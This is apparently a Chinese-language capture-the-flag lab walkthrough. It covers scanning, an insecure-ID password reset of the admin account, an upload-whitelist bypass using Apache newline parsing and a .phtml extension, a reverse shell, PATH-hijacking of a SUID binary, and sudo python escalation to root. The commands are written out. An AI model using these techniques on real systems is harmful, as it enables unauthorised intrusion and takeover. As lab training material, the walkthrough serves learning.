找到靶机IP
nmap扫描开放端口
访问到网页
目录扫描
扫到了一堆东西,发现apache版本
发现一个登陆界面
提示说放弃暴力破解,那我就万能密码绕一波,失败
注册了一个账号登录进去看看
发现了敏感的url,尝试越权漏洞,sqlmap跑一下sql注入,失败。。测试改信息,密码功能,终于在改密码的时候抓到一个包
将id改为1,说不定可以更改管理员密码
成功,登录管理员界面,发现文件上传点
尝试上传木马,发现有白名单校验,想办法绕过,想到之前的apache版本,应该有换行解析漏洞
抓包改包,在文件名后边加上%0a,然后两次url编码,成功上传
但是解析不了,gg
尝试更改后缀名为phtml,上传成功
权限不够,做个木马反弹shell到kali
进入一个交互式shell :python3 -c 'import pty;pty.spawn("/bin/bash")'
使用命令find / -perm -u=s -type f 2>/dev/null找有suid权限的命令
发现一个程序:/home/john/toto
切换到 john 目录:执行 toto,可以发现返回信息和 id 命令一致
我们可以尝试将命令劫持,自己写一个 id 命令脚本,加入到环境变量 PATH 中
cd/tmp# 切换到/tmp 目录
echo"/bin/bash">id# 将命令写入文件 id 中
chmod+x id# 修改文件权限,增加执行权限
exportPATH=/tmp:$PATH# 添加/tmp 目录到 PATH 变量中
whichid# 查看 id 命令的路径
切换到/home/john 文件夹,执行./toto,就会启动一个 bash,这个 bash 应该就会切换 shell
可以进行查看 user.txt和password
将代码写入到 file.py:echo 'import os;os.system("/bin/bash")' > file.py
使用 sudo 运行文件:sudo /usr/bin/python3 /home/john/file.py
密码就是password文件里的密码
成功提权,找到flag